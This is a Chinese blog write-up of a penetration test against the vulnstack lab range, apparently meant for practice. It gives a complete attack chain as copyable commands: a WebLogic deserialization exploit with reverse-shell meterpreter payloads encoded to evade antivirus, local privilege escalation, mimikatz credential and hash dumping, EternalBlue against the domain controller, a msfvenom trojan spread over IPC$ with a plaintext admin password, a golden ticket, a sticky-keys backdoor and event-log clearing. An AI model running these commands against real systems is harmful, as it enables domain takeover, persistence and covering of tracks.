记录渗透靶场实战【网络安全】

2023-11-13

第一次写靶场实战的文章,有不足之处还请多多指教。本次实战的靶场是红日安全vulnstack系列的第二个靶场。

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

环境搭建

网络环境

image.png

网卡配置

只需要在VM上选择对应网卡即可,不需要在靶机中进行配置。

DC

IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)

WEB

IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)

PC

IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)

开启靶场

进入C:\Oracle\Middleware\user_projects\domains\base_domain目录下,双击startWebLogic开启服务。

image.png

外网渗透

我们已知当前Web服务器的公网IP为192.168.111.80,对Web服务器进行端口扫描,以期发现是否有可以利用的端口服务,从而突破边界。

端口扫描

nmap -sV -Pn -T4 192.168.111.80

image.png

【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

漏洞探测

通过端口扫描我们发现Web服务器开启了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接进入Web服务器。这里我们先访问Web服务,发现80端口页面是空白的,在7001端口我们发现Web服务器开启了Weblogic,尝试使用WeblogicScan脚本探测漏洞:

python3 WeblogicScan.py -u 192.168.111.80 -p 7001

image.png

漏洞利用

通过脚本探测发现存在CVE-2019-2725,我们可以使用网上的exp,这里我们使用msf自带的漏洞利用模块:

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

image.png

这里还需要在advanced选项中对payload进行简单的编码:

setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru

image.png

成功返回meterpreter。

这里我们做编码的目的是为了绕过360,网上也有一些其它免杀的方式,大家可以自行学习,这里使用的msf的自免杀,使用x64/zutto_dekiru编码绕过。

权限提升

在我们成功返回shell后,发现我们当前是普通用户权限,如果要完全控制这台机器,需要进一步提权。

切换目录到C:\Users\de1ay下,使用meterpreter上传Sherlock脚本:

cd C:/Users/de1ay
upload Sherlock.ps1

[图片上传中…(image-d1bca3-1636183507751-34)]

进入shell模式,使用Sherlock脚本探测可用于本地提权的漏洞:

powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"

image.png

这里我们通过Sherlock脚本发现存在MS15-051相关漏洞,使用msf自带的利用模块提权:

use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run

image.png

提权成功:

image.png

至此,我们已经成功拿下了边界服务器的控制权,可以进一步深入内网了。

内网渗透

在进入内网后,我们要明确自己的目标,由于该靶场没有flag需要获取,所以我们的目标就是拿下整个域的控制权,明确了目标后,我们就可以针对目标进行信息收集了。

信息收集

systeminfo

image.png

ipconfig /all

image.png

通过查询主机信息和网络信息,我们发现该服务器主机名为WEB,处于域环境,并且有两张网卡,其内网网段为10.10.10.0/24,主DNS服务器IP为10.10.10.10,在域环境中,域控制器往往同时作为DNS服务器,由此判断,我们要找的域控制器IP很可能就是10.10.10.10

net user
net user /domain
net time /domain

image.png

通过查询用户信息,我们获取了域成员信息,并可基本做出判断域控制器的主机名为DC

ping DC

image.png

通过对DC使用ping命令,我们发现其IP为10.10.10.10,由此我们最终做出判断该域环境中的域控制器主机名为DC,内网ip地址为:10.10.10.10,并且我们目前控制的这台Web服务器可以访问域控制器

net group "Domain Admins" /domain

image.png

net group "domain computers" /domain

image.png

ping PC

image.png

这里我们通过ping PC发现PC机的ip为10.10.10.201,但是没有返回数据,说明此处防火墙禁止了ICMP协议,在后面对PC机进行内网渗透时可以考虑其它协议。

至此,我们已经初步完成了内网信息收集:

该靶场为域环境:de1ay.com
该靶场存在三台主机:DC、PC、WEB
该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24
该靶场的域管理员为:Administrator

设置代理

在对内网进行了初步的信息收集后,我们要开始攻击内网主机了,但是内网中的机器和我们的攻击机并不处于同一网络当中,所以要通过Web服务器建立代理,这里有很多内网穿透工具可以使用,如ew、frp、chisel等,我这里直接使用msf建立路由,并开启socks代理。

建立路由:
route add 10.10.10.0 255.255.255.0 1

image.png

开启socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run

image.png

配置代理工具proxychains4:
vim /etc/proxychains4.conf

image.png

这样,我们就可以使用msf以及设置了代理的其它工具攻击内网中的主机了。

在信息收集时,我们使用了ping命令简单探测了一下内网连通性,发现PC机无法ping通,这可能是防火墙阻止了ICMP协议,这里我们通过代理使用nc命令探测,发现可以连通,说明防火墙并没有阻止TCP协议的流量。

proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135

image.png

发现防火墙并没有拦截TCP流量后,我们就可以使用TCP协议进行数据传输了。

横向移动

先扫一下端口。

image.png

发现两台机器都开起了445端口,探测以下是否存在永恒之蓝漏洞:

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run

image.png

发现两台主机都存在该漏洞,尝试使用msf内置的漏洞利用模块:

use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run

域控制器执行成功,域内成员机PC执行失败:

image.png

至此,我们已成功获得域控制器权限。

域内成员机PC我们没有通过永恒之蓝漏洞拿下来,这里采用其它方法,首先我们在之前的Web服务器上加载kiwi,提取服务器上储存的密码:

sessions 2
load kiwi
creds_all

image.png

我们成功提取到了两个账号的明文密码,但是这里没有域管理员的账号密码。

这里我们使用smart_hashdump模块提取域控中的哈希:

use post/windows/gather/smart_hashdump
set session 3
run

image.png

成功提取到了域内成员的hash值,并且我们发现域管理员的hash和其它域成员的hash相同,这说明域管理员使用了和域成员相同的密码(该靶场存在密码复用,如果密码不相同,我们可以通过哈希传递进行横向移动),这样我们可以就获得了域管理员的账号密码。

我们先使用msf生成一个木马:

msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs

然后,将该木马上传到已经被我们控制的web服务器上:

upload /tmp/msf.vbs

image.png

进入shell,与PC主机建立IPC$连接:

net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com

image.png

将上传的木马复制到PC机C盘目录下:

copy msf.vbs \\10.10.10.201\c$

image.png

通过端口扫描我们发现PC开启了3389端口:

image.png

在msf上开启监听:

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run

image.png

连接PC机的远程桌面,使用域管理员账号登录PC,上线msf:

proxychains4 rdesktop 10.10.10.201:3389

image.png

到此,我们已经控制了域内全部主机。

image.png

权限维持

在获取了域内全部主机权限后,我们进一步来做权限维持,权限维持的方法很多,这里我们演示两种方式,使用黄金票据来实现域控制器的权限维持,使用粘滞键后门实现PC机的权限维持

域控制器权限维持

在之前的信息收集过程中,我们已经成功获取到了krbtgt的hash值:

image.png

因为PC机的session没有进行提权,并且是域成员账号,可以帮助我们获取域的SID,所以我们切换到PC机的session,获取域SID:

whoami /user

image.png

上传mimikatz到PC机,进入PC的shell模式,发现当前用户为普通域成员,无法访问域控制器目录。

image.png

使用mimikatz生成黄金票据并注入内存:

mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi

image.png

成功注入内存,我们尝试访问域控制器C盘:

dir \\DC\C$

image.png

发现在将票据注入内存后,可以成功访问域控制器目录,说明黄金票据有效。还有其它域控制器权限维持的方式,这里不进行具体演示了。

粘滞键后门

在PC机上使用粘滞键后门前,需要先进行提权。这里同样上传Sherlock脚本进行探测利用:

image.png

提权成功。

使用msf中的后渗透模块添加粘滞键后门:

use post/windows/manage/sticky_keys
set session 8
run

image.png

痕迹清除

删除之前上传的mimikatz和Sherlock脚本。

run event_manager -c

image.png

结语

关于免杀,我使用的全部是msf的编码自免杀,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都没有拦截。虽然靶机中有360,但是我直接上传的mimikatz也没有被杀,所以我有些怀疑是360的版本比较低,除了web服务器上传的第一个payload,其它都进行了编码处理,而第一个也确实没有执行成功,这说明360至少对第一个payload是拦截了的。

本次靶场练习到这里就全部结束了,在权限维持和免杀等方面仍然有很多需要学习的地方,这个靶场总体上比较简单,在横向移动和权限维持等方面还有很多方法可以尝试,由于本人深度沉迷msf,所以这篇文章中的整个渗透过程都是基于msf进行的,大家也可以多多尝试其它工具和方法,比如CS、Empire等等。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

记录渗透靶场实战【网络安全】 的相关文章

随机推荐

  • 计算机考研经验分享:一战暨南大学(死亡计专),调剂七天上岸华侨大学

    计算机考研经验分享 一战暨南大学 死亡计专 调剂七天上岸华侨大学 前言 这篇文章我本来很早就打算写了 调剂过程只有过来人才懂吧 因此 我希望自己的这篇文章能对看到的人考研有所帮助 我是12号晚上11点左右收到的录取通知 然后13号太兴奋了
  • 使用Element-UI中的Upload控件上传文件 (Vue + Flask)

    知识点 前端 使用 http request 覆盖默认的上传行为 可以自定义上传的实现 使用 DataForm 携带需要上传的文件 需要将http request 的 headers中的content type 设置为 content ty
  • 微信小程序简介

    一 了解微信小程序微信小程序 小程序的一种 英文名Wechat Mini Program 是一种不需要下载安装即可使用的应用 张小龙 发布时间2017年1月9日 二 微信小程序和普通H5的区别1 微信小程序用开发者工具来查看预览页面 H5用
  • R中的统计模型

    R中的统计模型 这一部分假定读者已经对统计方法 特别是回归分析和方差分析有一定的了解 后面我们还会假定读者对广义线性模型和非线性模型也有所了解 R已经很好地定义了统计模型拟合中的一些前提条件 因此我们能构建出一些通用的方法以用于各种问题 R
  • 股票资金建仓分仓补仓计算器

    软件演示图 百度网盘下载地址 http pan baidu com s 1o8Prq6A 软件功能原理与应用价值 我们每个人买股票基本很难做到一买就涨的 买了后可能会下跌一波段再涨 则此就会另到我们时常赚不到钱而纠结卖出一分钱都不能获利而离
  • grep常用需要转义字符汇总

    最近用grep的时候发现转义非常恶心 干脆做个测试 统计一下表示特殊语意时 需要转义的字符 这里的特殊语意是指非匹配自己本身 有特殊含义的时候
  • 神经网络参数理解与设置

    一 超参数 1 学习率 每次迭代的步长 决定着目标函数能否收敛到局部最小值以及何时收敛到最小值 学习率越高 步长越大 2 batch 当训练数据过多时 无法一次将所有的数据送入计算 所以需要将数据分成几个部分 多个batch 逐一地送入计算
  • excel重复的数据只计数一次_你还在加班核对重复数据?3个Excel技巧教你快速进行数据查重...

    相信使用Excel办公的同学 绝大多数都会碰到一个问题 它就是数据重复值的问题 因为数据里面有重复内容 经常会让我们的工作变得非常的棘手 如上图所示 里面是我们仓库发出的单号 我们需要里面就有包含重复发货的单号 如果我们单凭肉眼去看基本是不
  • 联想电脑安装虚拟机出现不可恢复的错误

    VMware Workstation 不可恢复错误 vcpu 0 vcpu 0 VERIFY vmcore vmm main cpuid c 376 bugNr 1036521 日志文件位于 F centos vmware log 中 您可
  • websocket协议与实现原理

    文章目录 一 websocket 二 websocket的协议实现 websocket的协议格式 websocket如何验证客户端合法 websocket传输的明文和密文的传输 websocket如何断开 实现 一 websocket we
  • __attribute__((__aligned__(n)))对结构体对齐的影响

    1 attribute 是什么 attribute 是GCC里的编译参数 用法有很多种 感兴趣可以阅读一下gcc的相关文档 这里说一下 attribute 对变量和结构体对齐的影响 这里的影响大概分为两个方面 对齐和本身占用的字节数的大小
  • android ndk常见的问题及解决的方法

    原文 http blog csdn net fangyuanseu article details 6857911 在ndk编译的过程中遇到的一些问题 1 在用ndk build编译的时候 被编译文件的路径中不能包含空格 如果包含有空格将会
  • Content-Type的几种常用数据编码格式

    Content Type 内容类型 一般是指网页中存在的Content Type ContentType属性指定请求和响应的HTTP内容类型 如果未指定 ContentType 默认为text html 1 text html 文本方式的网
  • Ubuntu 环境下使用中文输入法

    Ubuntu 环境下使用中文输入法 安装fcitx 1 进入系统设置 gt 语言支持 将汉语 中国 拖到最上面 如果列表中没有 选择 添加或删除语言 来添加 2 切换键盘输入法系统 将其修改为fcitx 如果下拉框中没有显示fcitx 则需
  • java poi导入Excel、导出excel

    java poi导入Excel 导出excel 导出meven架包
  • hive中判断一个字符串是否包含另一个子串的四种方法,sql中也可用

    hive中判断一个字符串是否包含另一个子串的四种方法 如果你有一个数据需求 需要从一个字段中 判断是否有一个字符串 你该怎么做 一 方法1 like和rlike 最能想到的方法 用like或者rlike select i want to t
  • Python使用pytorch深度学习框架构造Transformer神经网络模型预测红酒分类例子

    1 红酒数据介绍 经典的红酒分类数据集是指UCI机器学习库中的Wine数据集 该数据集包含178个样本 每个样本有13个特征 可以用于分类任务 具体每个字段的含义如下 alcohol 酒精含量百分比 malic acid 苹果酸含量 克 升
  • VirtualBox&VMWare虚拟机导入/导出步骤

    一 问题描述 最近做项目需要用到Linux虚拟机 以及在不同硬件平台 不同笔记本电脑 之间进行性能对比测试 因此学习如何导入 导出虚拟机 其中用到的虚拟化软件包括 1 VMware Workstation 17 Pro 2 VirtualB
  • 多位个数字 ,不同组合排列之和 (不重复,所有可能的组合之和) PHP

    数组 array 1 2 3 4 多位数也可以 以下是所需第一种方式结果 以下是具体实现代码 public function getSortList array level 1 list for i 0 i lt count array i
  • 记录渗透靶场实战【网络安全】

    第一次写靶场实战的文章 有不足之处还请多多指教 本次实战的靶场是红日安全vulnstack系列的第二个靶场 靶场地址 http vulnstack qiyuanxuetang net vuln detail 3 环境搭建 网络环境 网卡配置